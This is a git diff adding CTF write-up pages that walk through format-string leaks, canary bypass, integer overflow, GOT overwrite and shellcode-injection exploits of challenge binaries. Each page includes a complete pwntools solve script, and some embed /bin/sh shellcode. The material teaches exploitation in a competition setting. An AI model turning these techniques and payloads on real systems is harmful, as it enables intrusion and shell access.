+  undefined8 local_78;
+  undefined8 local_70;
+  undefined8 local_68;
+  undefined8 local_60;
+  undefined8 local_58;
+  undefined8 local_50;
+  undefined8 local_48;
+  undefined8 local_40;
+  undefined8 local_38;
+  undefined8 local_30;
+  undefined8 local_28;
+  undefined8 local_20;
+  undefined4 local_18;
+  long local_10;
+  
+  local_10 = *(long *)(in_FS_OFFSET + 0x28);
+  banner();
+  setbuf(stdout,(char *)0x0);
+  local_78 = 0x333c2049;
+  local_70 = 0;
+  local_68 = 0;
+  local_60 = 0;
+  local_58 = 0;
+  local_50 = 0;
+  local_48 = 0;
+  local_40 = 0;
+  local_38 = 0;
+  local_30 = 0;
+  local_28 = 0;
+  local_20 = 0;
+  local_18 = 0;
+  puts("Can you pwn me?");
+  puts("What is your name?");
+  fgets((char *)&local_78,100,stdin);
+  puts("Welcome to the contingent");
+  printf((char *)&local_78);
+  puts("Anything else?");
+  fgets((char *)&local_78,0x100,stdin);
+  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
+                    /* WARNING: Subroutine does not return */
+    __stack_chk_fail();
+  }
+  return 0;
+}
+

They are printing user input directly using printf! We can leak information using format string vulnerabilities

Let us observe the stack using gdb x/50x $rsp

0x7fffffffdc90: 0x0000000d      0x00000000      0xffffdca0      0x00007fff
+0x7fffffffdca0: 0x6c243725      0x00000a78      0x00000000      0x00000000
+0x7fffffffdcb0: 0x00000000      0x00000000      0x00000000      0x00000000
+0x7fffffffdcc0: 0x00000000      0x00000000      0x00000000      0x00000000
+0x7fffffffdcd0: 0x00000000      0x00000000      0x00000000      0x00000000
+0x7fffffffdce0: 0x00000000      0x00000000      0x00000000      0x00000000
+0x7fffffffdcf0: 0x00000000      0x00000000      0x00000000      0x00000000
+0x7fffffffdd00: 0x00000000      0x00000000      0x20220400      0x87f89f7d
+0x7fffffffdd10: 0x00000001      0x00000000      0xf7c29d90      0x00007fff
+0x7fffffffdd20: 0x00000000      0x00000000      0x55555240      0x00005555
+0x7fffffffdd30: 0xffffde10      0x00000001      0xffffde28      0x00007fff
+0x7fffffffdd40: 0x00000000      0x00000000      0x66b41503      0xb621f5da
+0x7fffffffdd50: 0xffffde28      0x00007fff
+

Strangely, there is an address in the stack, in the stack itself! (0x7fffffffdca0) at 0x7fffffffdc98

, Let us try putting AAAA into the first input prompt !

examining the stack again,

gef➤  x/50x $rsp
+0x7fffffffdc90: 0x0000000d      0x00000000      0xffffdca0      0x00007fff
+0x7fffffffdca0: 0x0a414141      0x00000000      0x00000000      0x00000000
+0x7fffffffdcb0: 0x00000000      0x00000000      0x00000000      0x00000000
+0x7fffffffdcc0: 0x00000000      0x00000000      0x00000000      0x00000000
+0x7fffffffdcd0: 0x00000000      0x00000000      0x00000000      0x00000000
+0x7fffffffdce0: 0x00000000      0x00000000      0x00000000      0x00000000
+0x7fffffffdcf0: 0x00000000      0x00000000      0x00000000      0x00000000
+0x7fffffffdd00: 0x00000000      0x00000000      0x67406800      0xa126b205
+0x7fffffffdd10: 0x00000001      0x00000000      0xf7c29d90      0x00007fff
+0x7fffffffdd20: 0x00000000      0x00000000      0x55555240      0x00005555
+0x7fffffffdd30: 0xffffde10      0x00000001      0xffffde28      0x00007fff
+0x7fffffffdd40: 0x00000000      0x00000000      0x1dd653c2      0xd568252e
+0x7fffffffdd50: 0xffffde28      0x00007fff
+

The address of the buffer is in the stack !, we can leak this address, along with the canary, write shellcode in this buffer, and then over write the return address with the address of the buffer!

from pwn import *
+
+#exe = ELF("./vuln")
+
+#context.binary = exe
+
+
+def conn():
+    if args.LOCAL:
+        r = process([exe.path])
+        if args.DEBUG:
+            gdb.attach(r)
+    else:
+        r = remote("10.21.232.38", 7003)
+
+    return r
+
+
+def main():
+    r = conn()
+    # 22 - > rbp
+    # 21 - > canary
+    # 7-> location of the array
+    payload1 = b"%7$lx.%21$lx"
+    r.recvuntil(b"name?\n")
+    r.sendline(payload1)
+    r.recvuntil("contingent\n")
+    data = r.recv().split(b'\n')[0]
+    print(data.split(b"."))
+    data = data.split(b".")
+    addr = int(data[0],16)
+    canary = int(data[1],16)
+
+
+    shellcode = b"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"
+
+    #shellcode is 28 bytes long
+
+    print(len(shellcode))
+    payload2 = shellcode + b"A"*(104-48)+ p64(canary) +b"B"*8 + p64(addr)
+
+
+    r.sendline(payload2)
+    # good luck pwning :)
+
+    r.interactive()
+
+
+if __name__ == "__main__":
+    main()
+

\ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/whatTheCanary/index.html b/writeups/Guild_Selection_CTF/whatTheCanary/index.html new file mode 100644 index 0000000..ddd267b --- /dev/null +++ b/writeups/Guild_Selection_CTF/whatTheCanary/index.html @@ -0,0 +1,19 @@ +What the canary
../whatTheCanary

What the canary

This provides us with a binary and the source code for a vulnerable program (hence the name vuln, duh). Now we’ll open the file using gdb, note that I am using gdb-pedaand you might be using something else, so adapt accordingly

	gdb -q ./vuln
+	checksec
+

running checksec we can see that even though the challenge talks about canaries, there aren’t any canaries! If we run the program (just type r) we can see that it expects us to enter something.

Entering a random string we get this sort of a message,

	code == 0x0
+	code != 0xdeadbeef :(
+	Well, that was unexpected...
+

Well that means, we want the code to be 0xdeadbeef. The first thing we’ll need to do is find out what offset overwrites this value. So, head over to this link to generate a random string.

Entering the 100 byte string: “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A”, we get this

	code == 0x4130634139624138
+	code != 0xdeadbeef :(
+	Well, that was unexpected...
+

So, we’ve written something… what is that? If we convert that from hex, we can see that its “A0cA9bA8”. This string is not present anywhere in our input! However, its reverse “8Ab9Ac0A” is at the 56th offset.

What this means is, if we enter 56 bytes, then the next 8 bytes will overwrite this address. This simple script can therefore be used to achieve the flag.

	from pwn import *
+	context.binary = binary = ELF("./vuln")
+	context.log_level = "critical"
+	payload = flat([
+		b"A"*56,
+		p32(0xdeadbeef) # simply enter the exact address, it will handle the endianess in its default values
+		])
+	p = remote('10.21.232.38', 7001)
+	p.sendline(payload)
+	p.interactive()
+

flag: iitmCTF{N0-C@n@r!35-r3Qu!r3|)}

\ No newline at end of file diff --git a/writeups/Guild_Selection_CTF/writeup/index.html b/writeups/Guild_Selection_CTF/writeup/index.html new file mode 100644 index 0000000..f305e67 --- /dev/null +++ b/writeups/Guild_Selection_CTF/writeup/index.html @@ -0,0 +1 @@ +Writeup for the Guild Selection CTF
../writeup

Writeup for the Guild Selection CTF

Binary Exploitation

Reverse Engineering

Web

Misc

Forensics

\ No newline at end of file diff --git a/writeups/RVCExIITBFinals/index.html b/writeups/RVCExIITBFinals/index.html new file mode 100644 index 0000000..ca36f2d --- /dev/null +++ b/writeups/RVCExIITBFinals/index.html @@ -0,0 +1 @@ +Redirect

Click here to be redirected. \ No newline at end of file diff --git a/writeups/RVCExIITBFinals/paranoid2/image1.png b/writeups/RVCExIITBFinals/paranoid2/image1.png new file mode 100644 index 0000000..0ebd833 Binary files /dev/null and b/writeups/RVCExIITBFinals/paranoid2/image1.png differ diff --git a/writeups/RVCExIITBFinals/paranoid2/image2.png b/writeups/RVCExIITBFinals/paranoid2/image2.png new file mode 100644 index 0000000..1dae0e3 Binary files /dev/null and b/writeups/RVCExIITBFinals/paranoid2/image2.png differ diff --git a/writeups/RVCExIITBFinals/paranoid2/image3.png b/writeups/RVCExIITBFinals/paranoid2/image3.png new file mode 100644 index 0000000..776dd4b Binary files /dev/null and b/writeups/RVCExIITBFinals/paranoid2/image3.png differ diff --git a/writeups/RVCExIITBFinals/paranoid2/index.html b/writeups/RVCExIITBFinals/paranoid2/index.html new file mode 100644 index 0000000..a63cd9c --- /dev/null +++ b/writeups/RVCExIITBFinals/paranoid2/index.html @@ -0,0 +1,91 @@ +Paranoid Part 2

../paranoid2

Paranoid Part 2

first, we will run checksec on the binary

checksec --file=challenge
+

Alt Text

Opening the binary in a decompiler (Ghidra) and looking at main function gives


+void main(void)
+
+{
+  undefined local_68 [48];
+  char local_38 [48];
+  
+  banner();
+  puts(
+      "\nHey its Anonymous again...Someone leaked my temporary location to the FBI and they sent an  agent to the location I provided them"
+      );
+  puts("\nIt\'s no longer safe to provide you the address of our temporary meeting point.");
+  puts("\nI\'m gonna have to hide and lay low for a while...");
+  puts("\nTry reaching out to me after things have settled down");
+  printf("\nGive me a name so that I can identify you if and when you contact me: ");
+  fflush(stdout);
+  read(0,local_38,0x23);
+  printf("\nAlright Mr. ");
+  printf(local_38);
+  printf(
+        "\nI\'ll look forward to doing business with you...Till then, is there anything that you wou ld like to convey? "
+        );
+  fflush(stdout);
+  read(0,local_68,0x110);
+  return;
+}
+

Analyzing other functions, there seems to be a suspicious function safe_house


+void safe_house(void)
+
+{
+  char local_98 [136];
+  FILE *local_10;
+  
+  local_10 = fopen("flag.txt","r");
+  if (local_10 == (FILE *)0x0) {
+    puts(
+        "\nThere is no \'flag.txt\' present in this directory. Please create sample flag for local e xploitation."
+        );
+                    /* WARNING: Subroutine does not return */
+    exit(0);
+  }
+  fgets(local_98,0x80,local_10);
+  printf(local_98);
+  putchar(10);
+  fflush(stdout);
+                    /* WARNING: Subroutine does not return */
+  exit(0);
+}
+

clearly, we have to return to this function

there is a printf and two read function calls. We can exploit a format string vulnereability to leak addresses from the stack, and calculate address of safe_house, since PIE is enabled

first step is to figure out the offset for the printf format string to print out addresses in the code section

starting the binary in gdb, and disassembling main, we find that addresses likely in the text section start with 0x5555555


Alt Text

setting a break point at the first printf, and printing the stack


Alt Text

we can see that %21$lx prints out the address of main

Next, we need to calculate the address of safe_house from ghidra, we can see that the address of safe_house is 0x010125a, and address of main is 0x0101316

So, address of win is main - 188

We can create our solve script, overflowing the buffer, RBP, into the return address

#!/usr/bin/env python3
+
+from pwn import *
+
+exe = ELF("./challenge")
+
+context.binary = exe
+# context.log_level = "debug"
+
+def conn():
+    if args.LOCAL:
+        r = process([exe.path])
+        if args.DEBUG:
+            gdb.attach(r)
+    else:
+        r = remote("rvcechalls.xyz", 27250)
+
+    return r
+
+
+def main():
+    r = conn()
+    r.recv()
+    r.sendline(b"%21$lx")
+    data = r.recv()
+    lines = data.split(b"\n")
+    main = lines[1].split(b".")[1].lstrip(b" ")
+    print(main)
+    win = int(main,16) - 188
+    print(hex(win))
+    payload = b"A"*0x68 + p64(win+1)
+    r.sendline(payload)
+    print(r.recv())
+    r.interactive()
+
+
+
+
+if __name__ == "__main__":
+    main()
+

giving the flag

flag{Mr_S0-c4ll3d_4n0nym0u5_ha5_l04d5ss_0F_53cUr1Ty_155u35_1907e55351f}
+

\ No newline at end of file diff --git a/writeups/RVCExIITBFinals/paranoid3/image1.png b/writeups/RVCExIITBFinals/paranoid3/image1.png new file mode 100644 index 0000000..96521b4 Binary files /dev/null and b/writeups/RVCExIITBFinals/paranoid3/image1.png differ diff --git a/writeups/RVCExIITBFinals/paranoid3/image2.png b/writeups/RVCExIITBFinals/paranoid3/image2.png new file mode 100644 index 0000000..1cf5920 Binary files /dev/null and b/writeups/RVCExIITBFinals/paranoid3/image2.png differ diff --git a/writeups/RVCExIITBFinals/paranoid3/index.html b/writeups/RVCExIITBFinals/paranoid3/index.html new file mode 100644 index 0000000..e1ea9b5 --- /dev/null +++ b/writeups/RVCExIITBFinals/paranoid3/index.html @@ -0,0 +1,75 @@ +Paranoid Part 3
../paranoid3

Paranoid Part 3

First, we run checksec

Alt Text

void main(void)
+
+{
+  long in_FS_OFFSET;
+  char local_68 [48];
+  undefined local_38 [40];
+  long local_10;
+  
+  local_10 = *(long *)(in_FS_OFFSET + 0x28);
+  banner();
+  puts("\nOkay Its getting serious now. Somehow I now suck at hiding my actual address.");
+  puts("\nHence, I\'ve now decided to keep one of the strongest security guard on watch");
+  puts("\nHe will make sure that no one gets in and collects any evidence against me");
+  puts("\nHe\'s no ordinary guard I tell ya...The FBI fear him!");
+  printf("\nCan you guess who he is?: ");
+  fflush(stdout);
+  read(0,local_68,0x23);
+  printf("\nReally? you couldn\'t think of anyone better than ");
+  printf(local_68);
+  printf(
+        "\nTill we meet again then my old friend...Give me your final message. You will likely not s ee me now for a long time: "
+        );
+  fflush(stdout);
+  read(0,local_38,0x120);
+  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
+                    /* WARNING: Subroutine does not return */
+    __stack_chk_fail();
+  }
+  return;
+}
+

looking at the other functions, there is a safe_house function which we need to return to. The difference from paranoid part 2 is the existence of a stack canary

opening the binary in GDB, examining addresses of RBP, and the value that gets printed from the stack, we can calculate the offset to the canary, and the address of main

  1. give input %7$lx, the value that gets printed out is 0
  2. examine stack and value of rbp

Alt Text
  1. clearly the canary is at %17$lx and the address of main is at %21$lx

Now, we can write the solve script

#!/usr/bin/env python3
+
+from pwn import *
+
+exe = ELF("./challenge")
+
+context.binary = exe
+context.log_level = "debug"
+
+def conn():
+    if args.LOCAL:
+        r = process([exe.path])
+        if args.DEBUG:
+            gdb.attach(r)
+    else:
+        r = remote("rvcechalls.xyz", 33545)
+
+    return r
+
+
+def main():
+    r = conn()  
+    r.recv()
+    r.sendline(b"%17$lx.%21$lx")
+    data = r.recvuntil(b"better than ")
+    data = r.recv()
+    addresses = data.split(b"\n")[0]
+
+    canary = addresses.split(b".")[0]
+    main = addresses.split(b".")[1]
+
+    # r.recv()
+    win = int(main,16) - 211
+    payload = b"A"*0x28 + p64(int(canary,16 ))+ b"B"*8 + p64(win)
+    r.sendline(payload)
+    r.recv()
+    # good luck pwning :)
+
+    r.interactive()
+
+
+if __name__ == "__main__":
+    main()
+

gives us the flag

flag{Th15_pUnY_6u4rd_aint_S70pp1n_m33_1907ebe25bf}
+

\ No newline at end of file diff --git a/writeups/RVCExIITBFinals/physicistquest/image1.png b/writeups/RVCExIITBFinals/physicistquest/image1.png new file mode 100644 index 0000000..e69567a Binary files /dev/null and b/writeups/RVCExIITBFinals/physicistquest/image1.png differ diff --git a/writeups/RVCExIITBFinals/physicistquest/image2.png b/writeups/RVCExIITBFinals/physicistquest/image2.png new file mode 100644 index 0000000..ba49943 Binary files /dev/null and b/writeups/RVCExIITBFinals/physicistquest/image2.png differ diff --git a/writeups/RVCExIITBFinals/physicistquest/index.html b/writeups/RVCExIITBFinals/physicistquest/index.html new file mode 100644 index 0000000..b5c4897 --- /dev/null +++ b/writeups/RVCExIITBFinals/physicistquest/index.html @@ -0,0 +1,79 @@ +The Physicist's Quest
../physicistquest

The Physicist's Quest

First, we run checksec on the binary

checksec --file=challenge
+

Alt Text

NX disabled indicates we can execute from stack, hence this is likely a shellcode injection challenge.

Now, opening in a decompiler (Ghidra):


+undefined8 main(void)
+
+{
+  int local_70;
+  int local_6c;
+  undefined local_68 [92];
+  uint local_c;
+  
+  fflush(stdout);
+  puts("Hi you know my buddy");
+  puts("He\'s stuck with his research on string theory");
+  puts(
+      "He\'s too proud to admit it, but he needs your help. But first you will need to prove that yo u are worthy enough for this"
+      );
+  puts("enter two magic numbers");
+  __isoc99_scanf(&DAT_001020e1,&local_6c);
+  __isoc99_scanf(&DAT_001020e1,&local_70);
+  if ((-1 < local_6c) && (-1 < local_70)) {
+    local_c = local_70 + local_6c;
+    printf("Your magic value is %d\n",(ulong)local_c);
+    if ((int)local_c < 0) {
+      puts(
+          "Good job! Now you need to figure out my location so that I can trick my friend into meeti ng you"
+          );
+      printf("Meet us in secrecy at %p\n",local_68);
+      read(0,local_68,200);
+    }
+    return 0;
+  }
+  printf("BAZINGA! Close but not close");
+                    /* WARNING: Subroutine does not return */
+  exit(0);
+}
+

ok , if local_6c and local_70 are positive and their sum is negative, we can write into a buffer, and the address of this buffer is printed out.

The first if conditions can be achieved by Integer Overflow.

Now, we put shellcode in the buffer and overwrite the return address with the address of the buffer (the shellcode).

We can create our solve script:

#!/usr/bin/env python3
+
+from pwn import *
+
+exe = ELF("./challenge")
+
+context.binary = exe
+# context.log_level = "debug"
+
+def conn():
+    if args.LOCAL:
+        r = process([exe.path])
+        if args.DEBUG:
+            gdb.attach(r)
+    else:
+        r = remote("rvcechalls.xyz", 29639)
+
+    return r
+
+
+def main():
+
+    shellcode =  b"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"
+
+    r = conn()
+    r.recv()
+    r.sendline(b"2147483645")
+    r.sendline(b"10")
+    data = r.recv()
+    print(data.split(b" ")[-1])
+    win = int(data.split(b" ")[-1], 16)
+    print(hex(win))
+    payload = shellcode + b"A"*(0x68-48) + p64(win)
+    # good luck pwning :)
+    r.sendline(payload)
+
+    r.interactive()
+
+
+if __name__ == "__main__":
+    main()
+
+

note that we need an additional 0x68-48 bytes to reach the return address since the shellcode is 48 bytes long. Shellcode was obtained from a Shellcode Database

Running the script spawns a shell, and we can print out the flag


Alt Text

flag{Gre4t_Y0u_h3lp4d_h1m_TBBT}
+

\ No newline at end of file diff --git a/writeups/RVCExIITBFinals/rigged/image1.png b/writeups/RVCExIITBFinals/rigged/image1.png new file mode 100644 index 0000000..ed69893 Binary files /dev/null and b/writeups/RVCExIITBFinals/rigged/image1.png differ diff --git a/writeups/RVCExIITBFinals/rigged/image2.png b/writeups/RVCExIITBFinals/rigged/image2.png new file mode 100644 index 0000000..372a978 Binary files /dev/null and b/writeups/RVCExIITBFinals/rigged/image2.png differ diff --git a/writeups/RVCExIITBFinals/rigged/index.html b/writeups/RVCExIITBFinals/rigged/index.html new file mode 100644 index 0000000..3e89ca6 --- /dev/null +++ b/writeups/RVCExIITBFinals/rigged/index.html @@ -0,0 +1,91 @@ +Rigged
../rigged

Rigged

first we run, checksec

checksec --file=challenge
+

Alt Text

Looking at it in a decompiler (Ghidra)


+undefined8 main(void)
+
+{
+ long in_FS_OFFSET;
+ char local_78 [104];
+ long local_10;
+ 
+ local_10 = *(long *)(in_FS_OFFSET + 0x28);
+ banner();
+ printf(
+      "\nHelp Jim to fill these blanks up correctly please and submit your final sentence as the a nswer."
+      );
+ printf("\nNo matter what answer he provides, it somehow always seems to be wrong.");
+ puts(
+     "\nHe\'ll fail the test if he keeps getting this wrong! The evil school must have rigged the s ystem"
+     );
+ printf(
+      "\nQ. In order to write efficent \'____\', developers usually go to a \'____\' to drink some  coffee: "
+      );
+ fflush(stdout);
+ fgets(local_78,100,stdin);
+ printf("Your final answer was ");
+ printf(local_78);
+ if ((blank1.1 == 0xc0de) && (blank2.0 == 0xcafe)) {
+   printf(
+        "\nOh! So you were able to somehow pass by the bearest of margins..Not bad. But its still  not good enough for me to care"
+        );
+                 /* WARNING: Subroutine does not return */
+   exit(0);
+ }
+ printf(
+      "\nYou failed again! Work Harder for the next test unless you wanna be a failure for the res t of your life"
+      );
+ if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
+                 /* WARNING: Subroutine does not return */
+   __stack_chk_fail();
+ }
+ return 0;
+}
+

We have to write 0xc0de in blank1.1, 0xcafe in blank2.0, and overwrite the GOT entry for exit to the function aced

we will use the printf %n format specifier vulnerability

  1. first, we figure out which is the offset where the input we give is stored, using the payload ABCD.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx…

Alt Text

clearly, 8th arguement is the input we give (hex 414243)

  1. Address of win function is at 0x401247

all addresses remain same since PIE is off, we can get these from Ghidra or any decompiler

  1. got address of EXIT is 0x404038

  2. First we write 0x40 at got address of exit + 2 bytes 0x40 of the 0x401247, then we write 0x1247 (4679) but we have already printed 64 bytes, hence our payload will have 4615 extra bytes to print

  3. Address of blank1.1 is 0x404050

  4. Address of blank2 is 0x404054

  5. we have to write 0xc0de (49374) at 0x404050, since we have printed 4679 bytes already, we need to print 49374 - 4679 = 44695 more bytes

  6. Similarly we need to print 2592 more bytes and write it in the address of blank2 (cafe)

Now we can craft our payload

#!/usr/bin/env python3
+
+from pwn import *
+
+exe = ELF("./challenge")
+
+context.binary = exe
+context.log_level = "debug"
+
+def conn():
+    if args.LOCAL:
+        r = process([exe.path])
+        if args.DEBUG:
+            gdb.attach(r)
+    else:
+        r = remote("rvcechalls.xyz", 32855)
+
+    return r
+
+
+def main():
+    r = conn()
+
+    #input is at %8$x
+    # blank1 addr = 0x00404050 == 0xc0de
+    # blank2 addr = 0x00404054 == 0xcafe
+
+    gotEx = 0x0404038 #got address of exit
+
+    r.recv()
+    # got address of EXIT is 0x404038
+    # win address is 00401247
+    # i have to write 0x40 at win+2 bytes
+    # i have to write 0x4038 at win
+
+    payload = b""
+    # total bytes in stack  = 9 + 12 + 12 + 11 = 44 : padding = 4A first one is 8th , so we have to start at 14
+    payload += b"%64X%14$n" + b"%4615X%15$hn" + b"%44695X%16$n" + b"%2592X%17$nAAAA" + p64(gotEx+2) + p64(gotEx) + p64(0x00404050) + p64(0x404054)
+
+    r.sendline(payload)
+    print(hex(exe.got['exit']))
+    r.recv()
+    r.interactive()
+
+
+if __name__ == "__main__":
+    main()
+
+

gives us the flag

flag{W00Ww_J1M_Y0uVe_GOT_s0m3_c00l_sk1lzzz_1907f147578}
+

\ No newline at end of file diff --git a/writeups/RVCExIITBFinals/rigged/solve.py b/writeups/RVCExIITBFinals/rigged/solve.py new file mode 100644 index 0000000..7d33036 --- /dev/null +++ b/writeups/RVCExIITBFinals/rigged/solve.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python3 + +from pwn import * + +exe = ELF("./challenge_patched") + +context.binary = exe +context.log_level = "debug" + +def conn(): + if args.LOCAL: + r = process([exe.path]) + if args.DEBUG: + gdb.attach(r) + else: + r = remote("rvcechalls.xyz", 32855) + + return r + + +def main(): + r = conn() + + #input is at %8$x + # blank1 addr = 0x00404050 == 0xc0de + # blank2 addr = 0x00404054 == 0xcafe + + #debugging we print 40 bytes and then point it at 0x404050 + # payload = b"%49374X%11$n" + b"%2592X%12$nA" + p64(0x00404050) + p64(0x404054) + ## this is enough to pass the first check + + gotEx = 0x0404038 + + r.recv() + # got address of EXIT is 0x404038 + # win address is 00401247 + # i have to write 0x40 at win+2 bytes + # i have to write 0x4038 at win + + payload = b"" + # total bytes in stack = 9 + 12 + 12 + 11 = 44 : padding = 4A first one is 8th , so we have to start at 14 + payload += b"%64X%14$n" + b"%4615X%15$hn" + b"%44695X%16$n" + b"%2592X%17$nAAAA" + p64(gotEx+2) + p64(gotEx) + p64(0x00404050) + p64(0x404054) + + r.sendline(payload) + print(hex(exe.got['exit'])) + with open("payload", "wb") as file: + file.write(payload) + r.recv() + r.interactive() + + +if __name__ == "__main__": + main() diff --git a/writeups/RVCExIITBFinals/writeup/index.html b/writeups/RVCExIITBFinals/writeup/index.html new file mode 100644 index 0000000..a7548c0 --- /dev/null +++ b/writeups/RVCExIITBFinals/writeup/index.html @@ -0,0 +1 @@ +Writeup for RVCExIITB CTF Final Round
../writeup

Writeup for RVCExIITB CTF Final Round

Writeups for the RVCExIITB CTF Final Round conducted at RV College of Engineering, Bangalore
Challenges

PWN

\ No newline at end of file diff --git a/writeups/index.html b/writeups/index.html new file mode 100644 index 0000000..79dd7bc --- /dev/null +++ b/writeups/index.html @@ -0,0 +1 @@ +All Writeups

All Writeups

CTF writeups

  1 / 1  
\ No newline at end of file diff --git a/writeups/writeups/1/index.html b/writeups/writeups/1/index.html new file mode 100644 index 0000000..c085ada --- /dev/null +++ b/writeups/writeups/1/index.html @@ -0,0 +1 @@ +Redirect

Click here to be redirected. \ No newline at end of file